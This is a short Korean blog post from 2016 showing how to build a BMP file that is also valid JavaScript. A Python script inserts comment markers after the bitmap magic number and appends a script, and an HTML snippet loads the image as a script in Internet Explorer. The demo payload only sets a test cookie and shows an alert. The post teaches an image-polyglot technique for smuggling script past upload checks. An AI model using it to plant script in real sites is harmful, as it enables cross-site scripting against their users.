2016. 3. 25. 15:24 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

파이썬은 파일을 다루는 기능을 제공합니다.

바이너리 파일을 열어서 내용을 변경하거나 추가할 수 있습니다.

아래 내용은 비트맵 파일에 자바 스크립트를 삽입해서 쿠키를 저장하고 다시 읽어들이는 프로그램입니다.

 

1) 삽입할 .js 스크립트

이미지 안에 삽입할 .js 파일 입니다.

임의의 cookie 값을 넣고, alert() 함수를 이용해 경고창을 띄웁니다.

1
2
3
4
5
6
name = 'id';
value = 'RedScreen';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7);
document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + "";
alert(document.cookie)
cs

 

2) 스크립트 삽입 프로그램

파일의 내용을 주석처리 한뒤, 위에 작성한 .js 파일을 삽입합니다.

주석처리 했지만, 브라우저는 매직넘버만 확인하면 일부 손상에도 불구하고

비트맵 파일을 정상적으로 읽습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
 
fname = "hello.bmp"
 
""" hello.bmp 파일을 이진 파일 전용 읽기 모드(r+b)로 연다."""
pfile = open(fname, "r+b")
buff = pfile.read()
 
""" 스크립트 실행 중 오류를 발생시킬 수 있는 2A(*)과 2F(/) 문자는 공백으로 치환한다 """
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()
 
""" hello.bmp 파일을 이진 파일 쓰기 전용 모드로 열고 buff 변수에 저장된 내용을 기록한다."""
pfile = open(fname, "w+b")
pfile.write(buff)
 
""" 파일 읽기 커서를 시작 기준으로 2바이트 뒤로 이동 시킨다 """
pfile.seek(2,0)
 
""" 비트맵 파일을 식별하기 위해 사용되는 매직넘버 뒤에 주석문의 시작을 의미하는 /*을 삽입한다."""
""" 브라우저는 매직넘버만 인식하면 나머지 데이터에 일부 손상이 발생해도 비트맵 파일을 정상적으로 읽는다."""
pfile.write(b'\x2F\x2A')
pfile.close()
 
""" hello.bmp 파일을 이진 파일 추가 전용 모드로 연다. """
pfile = open(fname, "a+b")
 
""" 주석문 삽입의 끝을 의미하는 */을 삽입한다 """
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('hello.js','rb').read())
pfile.close()
cs

 

3) 실행결과

왼쪽은 스크립트를 실행하기 전이고, 오른쪽은 .js파일이 삽입된 이후입니다.

 

 

4) 비트맵 실행 HTML

이미지를 띄움과 동시에, 이미지를 실행시키는 간단한 HTML 스크립트입니다.

IE로 실행시킨 결과, 실제로 alert() 함수가 작동함을 알 수 있습니다.

1
2
<img src="hello.bmp"/>
<script src="hello.bmp"></script>
cs

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message